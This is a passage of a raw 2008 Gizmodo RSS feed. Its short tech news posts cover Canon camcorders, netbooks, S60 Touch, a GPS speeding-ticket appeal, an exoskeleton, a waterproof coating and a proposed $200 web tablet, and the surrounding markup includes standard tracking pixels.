href="http://feeds.gawker.com/~f/gizmodo/full?a=3Ea6Hj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=3Ea6Hj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=tkqTlj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=tkqTlj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342369934" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342369934/osram-push-white-leds-to-world+record-brightness-super-efficiency Tue, 22 Jul 2008 04:33:00 EDT Kit Eaton http://gizmodo.com/index.php?op=postcommentfeed&postId=5027606&view=rss&microfeed=true http://gizmodo.com/5027606/osram-push-white-leds-to-world+record-brightness-super-efficiency <![CDATA[ Canon Updates HD Palmcorders With HF11, HG21 Versions [Camcorders] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/canonHDcams1.jpg" align="left" hspace="4" vspace="2" width="494" height="185" style="display:block;float:none;" />Canon's AVCHD <a href="http://gizmodo.com/366655/canon-vixa-hf10-camcorder-reviewed-verdict-best-avchd-to-date">HF10</a> camcorder got an excellent reception earlier this year, and now Canon have tweaked it slightly into the upcoming HF11 version. The most important tweaks are doubling the internal storage from 16GB to 32GB and the addition of a 24Mbps high quality MXP imaging mode. Otherwise, most features of the camera remain the same. Similar tweaks have been made to last years HG10 HDD camera, adding in the 24Mbps shooting mode, a 120GB drive and now allowing movies to be saved onto SD card whereas before it was limited to still imagery. Both cameras will be available in August for $1,300. [<a href="http://66.102.9.104/translate_c?hl=en&sl=ja&u=http://www.watch.impress.co.jp/av/docs/20080722/canon.htm">AVWatch</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=3b5bf7d28623b1017725a5a75509c8c8" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=3b5bf7d28623b1017725a5a75509c8c8" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=CM3oSr"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=CM3oSr" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=dYuf9J"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=dYuf9J" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=CbeaTJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=CbeaTJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=utBhDj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=utBhDj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=HJF07j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=HJF07j" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342351313" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342351313/canon-updates-hd-palmcorders-with-hf11-hg21-versions Tue, 22 Jul 2008 04:03:00 EDT Kit Eaton http://gizmodo.com/index.php?op=postcommentfeed&postId=5027604&view=rss&microfeed=true http://gizmodo.com/5027604/canon-updates-hd-palmcorders-with-hf11-hg21-versions <![CDATA[ New York Times: Analysts Aren't So Big On The Netbook Movement [TardTops] ]]> <p><img src="http://gizmodo.com/assets/resources/2008/05/subnotebookconfusion.jpg" align="left" hspace="4" vspace="2" width="494" height="225" style="display:block;float:none;" />Today's New York Times has a trend piece on ULPCs/Netbooks/Nettops/Subnotebooks/Mini PCs/*<em>Insert Buzzword Here</em>* and analysts who fear their low prices will spell doom and gloom for the PC industry. They cite the already low profit margins for PC sales as an example of what could drive computer companies into the red. Naturally success stories like the <a href="http://gizmodo.com/tag/eee">Asus Eee</a>, and the next wave of products like the <a href="http://gizmodo.com/5027136/cherrypal-pc-offers-subscription+free-cloud-computing-that-runs-off-two-watts-of-power">CherryPal</a> were name dropped as potential threats, but it hardly seems time to worry.</p> <p>The only concrete example in the article to warrant this concern is the aforementioned lack of profit margins, and there are still plenty of people who need more from their computers other than web browsing and micro-sized keyboards. But hey, if analysts are worried, should the rest of the world be? [<a href="http://www.nytimes.com/2008/07/21/technology/21pc.html?pagewanted=1&ref=technology">NYT</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=568a7e244996e2fadebffaeb474b3777" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=568a7e244996e2fadebffaeb474b3777" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=S25c5J"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=S25c5J" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=Mxgz2J"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=Mxgz2J" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=amwlvJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=amwlvJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=ofldYj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=ofldYj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=mHrzbj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=mHrzbj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342164047" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342164047/new-york-times-analysts-arent-so-big-on-the-netbook-movement Mon, 21 Jul 2008 23:13:00 EDT Adrian Covert http://gizmodo.com/index.php?op=postcommentfeed&postId=5027575&view=rss&microfeed=true http://gizmodo.com/5027575/new-york-times-analysts-arent-so-big-on-the-netbook-movement <![CDATA[ First S60 Touch UI Screenshots Appear, Look Promising [Symbian] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/image1ga1.png" align="left" hspace="4" vspace="2" style="display:block;" />A small bunch of S60 Touch UI screens popped up today over at Mobile Royale, and they don't look half bad. The design has big on-screen buttons, clean design, and easy to read menus. The only item of concern is how narrow the header and footer bars are when the OS is in landscape mode. Seems like a breeding ground for repeated tapping. That said, I'm still excited to see the rest of S60 Touch. [<a href="http://mobileroyale.tk/">Mobile Royale</a> via <a href="http://www.symbian-freak.com/news/008/07/nokia_s60_touch_ui_screenshot_leaked.htm">Symbian Freak</a>]<br> <script type="text/javascript" charset="utf-8"> galleryPost('s60touch', 2, ''); </script></p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=d0ef9fcf83e6937321c64884da804a23" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=d0ef9fcf83e6937321c64884da804a23" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=svQLzd"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=svQLzd" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=2wV5iJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=2wV5iJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=E6nNHJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=E6nNHJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=ekDuwj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=ekDuwj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=HsyEDj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=HsyEDj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342153846" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342153846/first-s60-touch-ui-screenshots-appear-look-promising Mon, 21 Jul 2008 22:56:00 EDT Adrian Covert http://gizmodo.com/index.php?op=postcommentfeed&postId=5027570&view=rss&microfeed=true http://gizmodo.com/5027570/first-s60-touch-ui-screenshots-appear-look-promising <![CDATA[ GPS Vs. Radar Gun Battle Appealed: GPS Wins! [GPS] ]]> <p><img src="http://gizmodo.com/assets/resources/2007/10/gps_vs_radar.jpg" align="left" hspace="4" vspace="2" style="display:block;" />We've been following the story of Shaun Malone, the California teen who was clocked by an officer doing 62MPH in a 45MPH zone, and was issued a ticket for $190. He <a href="http://gizmodo.com/gadgets/gps-vs-radar/gps-vs-radar-speed-challenge-update-radar-wins-325639.php">took the ticket to trial</a> and <a href="http://gizmodo.com/gadgets/gps-vs-radar/speeder-argues-that-his-gps-unit-proves-the-police-radar-gun-is-wrong-315783.php">lost</a>, as the state brought in a GPS expert via affidavit who said that the units weren't that accurate. The teen appealed, however, and the same expert revised his testimony on the stand, saying the device was accurate to within 1MPH. The device in question had the capability of emailing the teen's parents if he ever went above 70MPH, and also logged all other speeds. These logs were used and the judge found enough reason to throw out the original conviction, and will rule in October on the matter that may have far-reaching effects. The real question now is why did the trooper's radar gun think the speed was 33% faster than it actually was? [<a href="http://arstechnica.com/news.ars/post/20080718-nabbed-for-speeding-gps-data-could-get-you-off-the-hook.html">Ars</a>]</p> <br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=45fc4e57c0f24be2aa3dff59670c5c40"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=45fc4e57c0f24be2aa3dff59670c5c40"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=45fc4e57c0f24be2aa3dff59670c5c40" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=o18sfg"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=o18sfg" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=NcQgsJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=NcQgsJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=lyN74J"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=lyN74J" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=mNE28j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=mNE28j" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=WBJF9j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=WBJF9j" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342135182" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342135182/gps-vs-radar-gun-battle-appealed-gps-wins Mon, 21 Jul 2008 22:30:00 EDT Matt Hickey http://gizmodo.com/index.php?op=postcommentfeed&postId=5027564&view=rss&microfeed=true http://gizmodo.com/5027564/gps-vs-radar-gun-battle-appealed-gps-wins <![CDATA[ Dangerous Chemical In LCD TVs Being Replaced [Nitrogen Trifluoride] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Untitled-1.jpg" align="left" hspace="4" vspace="2"/>A couple of weeks ago we <a href="http://gizmodo.com/5022156/hdtvs-have-hidden-feature-poison-gas">brought you the shocking news</a> that your LCD HDTV probably contained a nefarious gas called Nitrogen Trifluoride (NF3) that was far more harmful to the environment than many other sources, including CO2. The Linde Group, who manufactures many of the LCD panels used in several popular LCD HDTVs, says that they've tweaked their manufacturing operations to use Fluorine instead of Nitrogen Trifluoride, replacing the dangerous gas with a fairly harmless one. Kudos to The Linde Group, and let's hope the other manufacturers follow step. [<a href="http://www.cepro.com/article/lcd_production_process_may_eliminate_global_warming_effects/#When:15:30:00Z">CE Pro</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=1db91f3f263633228c1296cb21e44df2" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=1db91f3f263633228c1296cb21e44df2" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=OfjOyX"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=OfjOyX" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=zkfKQJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=zkfKQJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=OY20CJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=OY20CJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=UbV3Ij"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=UbV3Ij" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=MSUl1j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=MSUl1j" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342112227" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342112227/dangerous-chemical-in-lcd-tvs-being-replaced Mon, 21 Jul 2008 22:00:00 EDT Matt Hickey http://gizmodo.com/index.php?op=postcommentfeed&postId=5027558&view=rss&microfeed=true http://gizmodo.com/5027558/dangerous-chemical-in-lcd-tvs-being-replaced <![CDATA[ Optimus Pultius is a Leaner, Meaner, 15-key LED Pad [Optimus Keypad] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/optimus-pultius.jpg" align="left" hspace="4" vspace="2" style="display:block;" />Fresh from the Optimus blog is the Optimus Pultius which shrinks the Optimus Maximus down to 15 keys, and is meant as an add-on to your existing keyboard setup. It's expected to be available at the end of 2008 or early 2009. No word on pricing, but hopefully a 30 year mortgage won't be a requirement. [<a href="http://community.livejournal.com/optimus_project/60143.html">Optimus Blog</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=80e987662897a223686fcd8b344461f0" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=80e987662897a223686fcd8b344461f0" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=AHeUto"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=AHeUto" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=t1680J"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=t1680J" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=Hm3vQJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=Hm3vQJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=vpX6Cj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=vpX6Cj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=hJbi8j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=hJbi8j" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342090022" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342090022/optimus-pultius-is-a-leaner-meaner-15+key-led-pad Mon, 21 Jul 2008 21:18:00 EDT Adrian Covert http://gizmodo.com/index.php?op=postcommentfeed&postId=5027555&view=rss&microfeed=true http://gizmodo.com/5027555/optimus-pultius-is-a-leaner-meaner-15+key-led-pad <![CDATA[ Hi-Tech Shoes For Ladies Have Heel Height Extenders [Ladies Shoes] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/g2s2.jpg" align="left" hspace="4" vspace="2" style="display:block;" />Thankfully just a concept for now, the Goodie 2 Shoe is an idea in function, and definitely not in form. They're ugly, sure, but they have a neat trick: the heel is adjustable with magnets and hidden hinges, so a 1.5-inch heel suitable for work gets extended to a come-hither 3.5-inch for going out. Other parts can be customized, much like the latest <a href="http://gizmodo.com/5025120/sidekick-2008-images-appear-bigger-and-clearer">Sidekick</a>. Personally, we'd be confused if we saw an attractive lady in these shoes. It shows she's got a geek's mind, but also a geek's taste, which is not always what we're looking for. Still, we hope these appear on Lady Robocop in the 2010 remake. [<a href="http://news.cnet.com/8301-17938_105-9995767-1.html">Crave</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=804f25b6d1c949e80e114e02d4ed3bd1" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=804f25b6d1c949e80e114e02d4ed3bd1" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=IKT2p4"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=IKT2p4" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=M3FzgJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=M3FzgJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=N0JIoJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=N0JIoJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=fJ1Xbj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=fJ1Xbj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=ccffej"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=ccffej" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342072831" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342072831/hi+tech-shoes-for-ladies-have-heel-height-extenders Mon, 21 Jul 2008 21:00:00 EDT Matt Hickey http://gizmodo.com/index.php?op=postcommentfeed&postId=5027551&view=rss&microfeed=true http://gizmodo.com/5027551/hi+tech-shoes-for-ladies-have-heel-height-extenders <![CDATA[ Video: Exoskeleton Helps Paralyzed Man Walk For First Time In Twenty Years [Exoskeletons] ]]> <p><object width="494" height="413"><param name="movie" value="http://www.youtube.com/v/gQRQs-N-ZIM&hl=en&fs=1"></param><param name="allowFullScreen" value="true"></param><embed src="http://www.youtube.com/v/gQRQs-N-ZIM&hl=en&fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="494" height="413"></embed></object>One of the coolest realms of technology currently transitioning from Sci-Fi to practical is that of exoskeletons. Above is an astonishing video of one such device in action, a medical model that helps a quadriplegic man walk for the first time in twenty years. The exoskeletons are still in development, with the one in the video a prototype that's about to undergo US trials. If this is what an early model can do, can you imagine where we'll be in ten years with the technology? Here's hoping the FDA finds a way to speed these through approval. [<a href="http://www.medgadget.com/archives/2008/07/video_of_rewalk_exoskeleton_system.html">Medgadget</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=dec7d644ca9158ef8ea64d2e424b6bad" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=dec7d644ca9158ef8ea64d2e424b6bad" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=0Fs10g"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=0Fs10g" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=3tXmRJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=3tXmRJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=AzYb7J"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=AzYb7J" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=CL38Rj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=CL38Rj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=kggA4j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=kggA4j" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342135183" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342135183/video-exoskeleton-helps-paralyzed-man-walk-for-first-time-in-twenty-years Mon, 21 Jul 2008 20:40:00 EDT Matt Hickey http://gizmodo.com/index.php?op=postcommentfeed&postId=5027546&view=rss&microfeed=true http://gizmodo.com/5027546/video-exoskeleton-helps-paralyzed-man-walk-for-first-time-in-twenty-years <![CDATA[ Arn Kim Ran MacRumors While a Full-time Doctor [Apple] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/21blogger.enlarge.jpg" align="left" hspace="4" vspace="2" width="650" height="433" style="display:block;float:none;" />On top of running a bitchin' keynote liveblog, MacRumors owner Arn Kim was up until recently a full-time medical doctor. He's a friend who I've come to rely on as a sounding board for Apple rumors at 3am or any other obscene time of day, so I'm glad to see him being recognized with a profile in the <a href="http://www.nytimes.com/2008/07/21/technology/21blogger.html?hp">NYT</a>. [Photo by <a href="http://www.jaypaulphoto.com/">Jay Paul</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=de9f43823b78812820b9a51520ddd7c5" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=de9f43823b78812820b9a51520ddd7c5" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=uKHABm"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=uKHABm" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=3i4DFJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=3i4DFJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=J0xPtJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=J0xPtJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=Y53N3j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=Y53N3j" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=2oPZqj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=2oPZqj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342164048" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342164048/arn-kim-ran-macrumors-while-a-full+time-doctor Mon, 21 Jul 2008 20:30:43 EDT Brian Lam http://gizmodo.com/index.php?op=postcommentfeed&postId=5027437&view=rss&microfeed=true http://gizmodo.com/5027437/arn-kim-ran-macrumors-while-a-full+time-doctor <![CDATA[ Waterproof Gadget Coating is Invisible, Mystifying, Mind Boggling Witchcraft [Technological Trickery] ]]> <p><object width="494" height="278"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=1381538&amp;server=www.vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=1381538&amp;server=www.vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="494" height="278"></embed></object>Golden Shellback is a coating that lets you spill, pour, or submerge your gadget in a liquid and have it survive. Golden Shellback says it will protect against oils, water-based liquids, synthetic fluids, dust and dirt. <a href="http://revision3.com/tekzilla/">Tekzilla's</a> Patrick Norton shot a segment on Golden Shellback and has footage of cellphones and CB radios functioning normally under a foot of water (Golden Shellback claimed the CB sat underwater for 455 consecutive hours). </p> <p>Apparently, the coating is applied in a vacuum and covers both the inner and outer components of a gadget, which doesn't conduct electricity. Golden Shellback hopes the protective coating will be available soon, and expect the service to cost between $50-$75 depending on the size of the gadget. But seeing is believing, so you should watch the video, which is borderline mindblowing. [<a href="http://www.golden-shellback.com/">Golden Shellback</a> via <a href="http://revision3.com/tekzilla/">Tekzilla</a> via <a href="http://gcaptain.com/maritime/blog/gcaptain-exclusive-shellbacked-ipod-touch-video/">gCaptain</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=997eeafac36d175ce7d5543ad05c4feb" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=997eeafac36d175ce7d5543ad05c4feb" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=yWmyJN"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=yWmyJN" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=OYRC0J"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=OYRC0J" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=hvpA1J"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=hvpA1J" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=hin14j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=hin14j" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=9jOhej"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=9jOhej" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342041084" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342041084/waterproof-gadget-coating-is-invisible-mystifying-mind-boggling-witchcraft Mon, 21 Jul 2008 20:23:00 EDT Adrian Covert http://gizmodo.com/index.php?op=postcommentfeed&postId=5027545&view=rss&microfeed=true http://gizmodo.com/5027545/waterproof-gadget-coating-is-invisible-mystifying-mind-boggling-witchcraft <![CDATA[ Qik Video Streaming Goes To Public Beta, iPhone App Still Coming [Qik] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/wikeiek.png" align="left" hspace="4" vspace="2" style="display:block;" /><a href="http://gizmodo.com/tag/qik">Qik's</a> video streaming service is now open to the public as a beta version to anyone with a 3G or wi-fi connection on their compatible Symbian or Windows Mobile Phone. Qik also told <a href="http://venturebeat.com/2008/07/20/qik-launches-public-beta-new-phones-new-carriers-and-new-features-abound/">Venture Beat</a> that they are still at work on an iPhone client, though they didn't address the possibility it would be rejected.</p> <p>Qik video is streamed to a personalized Qik page, and can be pushed to other places, such as Facebook apps. Latency is as short as .5 seconds or as long a 3 seconds, and the service can now stream privately to select groups. Qik says they're intent is not to be a destination page, but be a conduit for content to appear places like personal blogs and Facebook. [<a href="http://venturebeat.com/2008/07/20/qik-launches-public-beta-new-phones-new-carriers-and-new-features-abound/">Venture Beat</a> via <a href="http://www.electronista.com/articles/08/07/21/qik.public.beta/">Electronista</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=7f6d95f3468ff84bacbb4e4414c6a627" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=7f6d95f3468ff84bacbb4e4414c6a627" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=PMdZ7N"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=PMdZ7N" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=4i6gZJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=4i6gZJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=aE6DlJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=aE6DlJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=Y5VQAj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=Y5VQAj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=sG3Kmj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=sG3Kmj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342020282" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342020282/qik-video-streaming-goes-to-public-beta-iphone-app-still-coming Mon, 21 Jul 2008 19:51:27 EDT Adrian Covert http://gizmodo.com/index.php?op=postcommentfeed&postId=5027538&view=rss&microfeed=true http://gizmodo.com/5027538/qik-video-streaming-goes-to-public-beta-iphone-app-still-coming <![CDATA[ Michael Arrington Wants Help Designing a $200 Open Source Internet Tablet [Tablets] ]]> <p><img src="http://gizmodo.com/assets/resources/2008/07/arringtontablet.jpg" align="left" hspace="4" vspace="2" width="560" height="446" style="display:block;float:none;" />Michael Arrington wants a $200 touchscreen internet tablet. So do a lot of people. Unlike a lot of people, Arrington is loaded and runs TechCrunch. So he's taking it into his own hands and putting out a call for people to help him design a cheapo open source touchscreen tablet that would launch right into Firefox. Nothing fancy, just something to let you surf the web while you're sitting on the can.</p> <p>Here's the basic idea:<br></p> <blockquote>Here’s the basic idea: The machine is as thin as possible, runs low end hardware and has a single button for powering it on and off, headphone jacks, a built in camera for video, low end speakers, and a microphone. It will have Wifi, maybe one USB port, a built in battery, half a Gigabyte of RAM, a 4-Gigabyte solid state hard drive. Data input is primarily through an iPhone-like touch screen keyboard. It runs on linux and Firefox. It would be great to have it be built entirely on open source hardware, but including Skype for VOIP and video calls may be a nice touch, too.</blockquote> <p>He's looking for people to help spec out the hardware and write the custom Firefox and Linux code for it. If you help, you'll be handsomely rewarded with a first-run edition of the to-be-named device if and when it ever becomes a reality.</p> <p>Will it actually happen? I'm not sure, but it sounds pretty good to me. We'll see. [<a href="http://www.crunchgear.com/2008/07/21/help-us-build-a-200-web-tablet/">CrunchGear</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; 